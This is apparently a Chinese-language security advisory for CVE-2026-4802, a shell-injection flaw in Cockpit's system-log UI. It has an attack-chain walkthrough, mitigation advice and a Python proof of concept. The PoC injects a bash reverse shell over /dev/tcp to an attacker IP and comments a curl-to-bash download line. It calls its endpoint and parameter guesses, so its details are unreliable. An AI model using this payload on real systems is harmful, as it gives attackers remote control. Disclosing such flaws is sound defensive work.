CVE-2026-4802 Cockpit远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-4802

漏洞类型

远程代码执行

CVSS评分

8.0 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Cockpit

漏洞概述

Cockpit系统日志UI存在参数过滤缺陷，攻击者可注入Shell元字符执行任意命令，导致系统完全沦陷。

技术细节

该漏洞源于Cockpit的logsJournal.jsx组件未对用户参数进行严格过滤。攻击者需具备低权限账户，通过构造包含Shell元字符（如`$()`或反引号）的恶意链接，诱导用户在日志界面进行交互。当系统处理这些未经过滤的参数时，会将恶意内容传递给Shell执行，从而实现远程代码执行。由于CVSS评分为8.0，该漏洞对系统的机密性、完整性和可用性均构成严重威胁。

攻击链分析

STEP 1

1. 信息收集

攻击者扫描并发现目标服务器上运行着Cockpit服务。

STEP 2

2. 获取凭证

攻击者通过钓鱼或其他手段获取目标Cockpit的低权限账户凭证（满足PR:L）。

STEP 3

3. 构造Payload

攻击者利用Shell元字符构造包含恶意命令的Payload，针对logsJournal.jsx中的参数。

STEP 4

4. 诱导交互

攻击者诱导管理员或授权用户访问包含恶意参数的系统日志UI链接（满足UI:R）。

STEP 5

5. 执行命令

服务器端未过滤参数，直接传递给Shell执行，导致攻击者获得系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# Conceptual PoC for CVE-2026-4802
# This script demonstrates how an attacker might inject a command.
# The vulnerability resides in the logs UI parameter handling.

import requests

target_url = "https://<target-cockpit-host>:9090"
# Attacker controlled IP for reverse shell
attacker_ip = "192.168.1.100"
attacker_port = "4444"

# Payload to inject shell metacharacters
# Example: ; /bin/bash -c 'curl http://attacker_ip/shell | bash'
payload = f"; /bin/bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'"

# Vulnerable endpoint in Logs UI (Conceptual)
vulnerable_endpoint = "/cockpit/@localhost/system/logs#"

# Session cookie or authentication token would be required (PR:L)
cookies = {
    "cockpit": "<session_token>"
}

params = {
    "query": payload, # Assuming the vulnerable parameter is 'query' or similar in logsJournal.jsx
    "options": "all"
}

try:
    response = requests.get(target_url + vulnerable_endpoint, params=params, cookies=cookies, verify=False)
    if response.status_code == 200:
        print("Payload sent successfully. Check for reverse shell.")
    else:
        print(f"Failed to send payload. Status code: {response.status_code}")
except Exception as e:
    print(f"An error occurred: {e}")

影响范围

Cockpit < commit e204cd130 (具体版本请参考官方修复公告)

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用Cockpit服务或严格限制访问控制列表（ACL），仅允许管理员IP访问。同时，应加强对系统用户操作的监控，防止低权限账户被滥用。